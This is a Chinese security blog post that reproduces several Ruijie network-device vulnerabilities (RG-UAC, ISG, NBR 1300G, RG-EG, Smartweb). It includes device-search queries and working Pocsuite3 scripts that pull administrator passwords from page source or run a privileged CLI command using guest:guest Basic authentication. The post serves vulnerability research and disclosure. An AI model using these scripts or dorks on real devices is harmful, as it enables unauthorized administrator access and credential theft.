Pocsuite3_锐捷漏洞汇总

作者:Sec-Labs | 发布时间:

前言

最近接触了许多锐捷的相关漏洞,复现下顺便利用Pocsuite3写出相应的poc&exp。

 

0x00:锐捷RG-UAC信息泄露漏洞(CNVD-2021-14536)

2021年3月8日,锐捷 RG-UAC 统一上网行为管理审计系统存在信息泄露,攻击者通过网页源代码可间接获取管理用户账号密码,导致管理员用户认证信息泄露。

影响范围锐捷RG-UAC统一上网行为管理审计系统
查询语法title:"RG-UAC登录页面"

ea489fb1997c43579586048ce2b18505.png

c53a2c28c6bc403bb619ea8630c5ebda.png

登陆即可

f6f4f5ed56a84bf8876bd1255696fa41.png

 

 


POC如下:

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
import requests
import re

class DemoPOC(POCBase):
    vulID = 'CNVD-2021-14536'
    vulnerability = ''
    version = '1.0'
    author = 'attackbot'
    vulDate = '2021-3-8'
    grade = 'high'
    appPower = 'UAC'
    appName = 'ruijie'
    appVersion = ''
    name = '锐捷RG-UAC信息泄露漏洞'
    vulType = 'info_leak'
    vulclassification = 'Web'
    createDate = '2022-1-18'
    updateDate = '2022-1-18'
    desc = '''锐捷 RG-UAC 统一上网行为管理审计系统存在信息泄露,攻击者通过网页源代码可间接获取管理用户账号密码,导致管理员用户认证信息泄露。'''
    appPowerLink = ''
    samples = ['']
    references = ['https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065']
    pocDesc = '''  
    eg: pocsuite -r attackbot_xxx.py -u http://xxxx:xxx/ --verify 
        pocsuite -r attackbot_xxx.py -u http://xxxx:xxx/  --attack --command id
        pocsuite -r attackbot_xxx.py -u http://xxxx:xxx/ --shell
        #如果是https,输入IP应为https://xxx/xxx
         '''

    def _verify(self):
        result ={}
        vul_url = self.url.rstrip('/')
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        }
        try:
            response = requests.get(url=vul_url, headers=headers)
            password = re.findall(r'"admin","password":"(.*?)"', response.text)[0]
            if "super_admin" in response.text and "password" in response.text and response.status_code == 200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = vul_url
                result['VerifyInfo']['password'] = password
            else:
                print("�33[31m[x] 目标 {}不存在漏洞 �33[0m".format(vul_url))
        except Exception as e:
            print("�33[31m[x] 目标 {}不存在漏洞 �33[0m".format(vul_url))
            print(e)
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register_poc(DemoPOC)
855b159d4bf945bd8fe7a03676b31514.png

 

 

0x01:锐捷ISG 账号密码泄露漏洞

锐捷ISG 存在账号密码泄露漏洞,通过查看前端,可以获取密码的md5值, 解密后获取后台权限

影响范围锐捷ISG
查询语法title:"RG-ISG"

d21354c5a5d8473f80a17253582d5609.png

be5bddeaf5c949888c7b4b73a66612ee.png

 

 

上面的POC同样适用

 

0x02:锐捷NBR 1300G路由器 越权CLI命令执行漏洞

锐捷NBR 1300G路由器 越权CLI命令执行漏洞,guest账户可以越权获取管理员账号密码

影响范围锐捷ISG
查询语法title:"RG-ISG"
请求头要加上:

headers = {
            "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
        }

这里就需要了解一下HTTP Basic Authorization

 
849f91a6335041b88d6da766ac98af19.png

 

 

在访问一个需要HTTP Basic Authentication的URL的时候,如果没有提供用户名和密码,服务器就会返回401,如果直接在浏览器中打开,浏览器会提示输入用户名和密码。
要在发送请求的时候添加HTTP Basic Authentication认证信息到请求中,有两种方法:
一、是在请求头中添加Authorization: Authorization: "Basic 用户名和密码的base64加密字符串" 。
二、是在url中添加用户名和密码。

具体可参考
登录后发送请求包,执行CLI命令 (show webmaster user) 查看用户配置账号密码

7af90737cc334858a1b70ac3de27cdb3.png

88b3e1a037f44f57a0bc40fbd689d0a4.png

 

 

 


POC如下:

 

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
import requests

class DemoPOC(POCBase):
    vulID = 'attackbot_129'
    vulnerability = ''
    version = '1.0'
    author = 'attackbot'
    vulDate = ''
    grade = 'high'
    appPower = ''
    appName = 'ruijie'
    appVersion = 'nbr1300g'
    name = '锐捷NBR 1300G路由器 越权CLI命令执行漏洞'
    vulType = 'rce'
    vulclassification = 'Web'
    createDate = '2022-1-18'
    updateDate = '2022-1-18'
    desc = '''
    '''
    appPowerLink = ''
    samples = ['']
    references = ['http://180.76.227.109/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html?h=ruijie']
    pocDesc = '''  
    eg: pocsuite3 -r attackbot_xxx.py -u http://xxxx:xxx/ --verify 
        pocsuite3 -r attackbot_xxx.py -u http://xxxx:xxx/  --attack --command id
        pocsuite3 -r attackbot_xxx.py -u http://xxxx:xxx/ --shell
         '''
    def _verify(self):
        result ={}
        vul_url = self.url.rstrip('/')+"/WEB_VMS/LEVEL15/"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded",
            "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
        }
        data = 'command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'
        try:
            response = requests.post(url=vul_url, data=data, headers=headers, verify=False)
            print(response.text)
            if "webmaster level 2 username guest password guest" in response.text and response.status_code == 200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = vul_url
        except Exception as e:
                print("�33[31m[x] 请求失败:{} �33[0m".format(e))
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register_poc(DemoPOC)

通过测试,同样发现RG-EG也存在此漏洞

033aa30d09c04cc9838bb47aa841512e.png

 

 

 

0x03:锐捷Smartweb管理系统 密码信息泄露漏洞

锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞,攻击者可从漏洞获取到管理员账号密码,从而以管理员权限登录。

影响范围锐捷Smartweb
查询语法title="无线smartWeb--登录页面"

默认guest:guest可以进行登陆,登录的过程中搜索admin的数据后发现请求了一个文件 /web/xml/webuser-auth.xml,而且响应中包含了 admin密码的base64加密

 
9f47186e08044effb0c60917be43a8e6.png

7faad8a448df4d24bc115c5953d3b75e.png

 

 

 


base64解密即可,同样发现可以越权CLI命令执行漏洞,guest账户可以越权获取管理员账号密码

 

通过添加cookie写出相应的poc

6cfff8a9dc8947b7b88239643831fc05.png

 

 

标签:漏洞分享